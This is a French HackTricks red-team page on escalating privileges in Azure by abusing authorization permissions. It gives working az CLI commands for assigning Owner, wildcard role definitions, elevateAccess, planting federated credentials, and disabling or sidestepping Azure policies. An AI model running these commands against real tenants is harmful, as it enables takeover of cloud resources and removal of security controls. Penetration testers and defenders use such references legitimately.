Az - Azure IAM Privesc (Authorization)

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Azure IAM

Pour plus d’informations, consultez :

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Cette permission permet d’assigner des rĂŽles Ă  des principals sur une portĂ©e spĂ©cifique, permettant Ă  un attacker d’escalader ses privilĂšges en s’assignant un rĂŽle plus privilĂ©giĂ© :

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Cette permission permet de modifier les permissions accordĂ©es par un rĂŽle, permettant Ă  un attacker d’escalate privileges en accordant plus de permissions Ă  un rĂŽle qu’il a assignĂ©.

Créez le fichier role.json avec le contenu suivant :

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Ensuite, mettez à jour les autorisations du rÎle avec la définition précédente en appelant :

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Cette permission permet d’élever les privilĂšges et de pouvoir attribuer des permissions Ă  n’importe quel principal sur des ressources Azure. Elle est destinĂ©e Ă  ĂȘtre attribuĂ©e aux Entra ID Global Administrators afin qu’ils puissent Ă©galement gĂ©rer les permissions sur les ressources Azure.

Tip

Je pense que l’utilisateur doit ĂȘtre Global Administrator dans Entra ID pour que l’appel elevate fonctionne.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Cette permission permet d’ajouter des Federated credentials aux managed identities. Par ex. donner accĂšs Ă  Github Actions dans un repo Ă  une managed identity. Ensuite, elle permet de accĂ©der Ă  n’importe quelle managed identity dĂ©finie par l’utilisateur.

Commande exemple pour donner accĂšs Ă  un repo sur Github Ă  une managed identity :

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Un attaquant disposant de la permission Microsoft.Authorization/policyAssignments/write ou Microsoft.Authorization/policyAssignments/delete sur un management group, subscription ou resource group peut modifier ou supprimer des Azure policy assignments, et potentiellement désactiver des restrictions de sécurité qui bloquent certaines opérations.

Cela permet d’accĂ©der Ă  des ressources ou fonctionnalitĂ©s qui Ă©taient prĂ©cĂ©demment protĂ©gĂ©es par la policy.

Supprimer une policy assignment :

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Désactiver une affectation de stratégie :

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Vérifier les modifications :

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Un attaquant disposant de l’autorisation Microsoft.Authorization/policyDefinitions/write peut modifier les Azure policy definitions, en changeant les rĂšgles qui contrĂŽlent les restrictions de sĂ©curitĂ© dans l’ensemble de l’environnement.

Par exemple, une policy qui limite les rĂ©gions autorisĂ©es pour la crĂ©ation de ressources peut ĂȘtre modifiĂ©e pour autoriser n’importe quelle rĂ©gion, ou l’effet de la policy peut ĂȘtre changĂ© pour la rendre inefficace.

Modifier une définition de policy :

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Vérifier les modifications :

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Un attaquant disposant de la permission Microsoft.Management/managementGroups/write peut modifier la structure hiĂ©rarchique des groupes de gestion ou crĂ©er de nouveaux groupes de gestion, s’affranchissant potentiellement des politiques restrictives appliquĂ©es Ă  des niveaux supĂ©rieurs.

Par exemple, un attaquant peut créer un nouveau groupe de gestion sans politiques restrictives puis y déplacer des abonnements.

Créer un nouveau groupe de gestion :

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modifier une hiérarchie de management group :

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Vérifier les modifications :

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Un attaquant disposant de la permission Microsoft.Management/managementGroups/subscriptions/write peut déplacer des subscriptions entre management groups, et potentiellement contourner des policies restrictives en déplaçant une subscription vers un groupe disposant de policies moins restrictives ou sans policies.

Déplacer une subscription vers un management group différent :

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Vérifier les modifications :

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks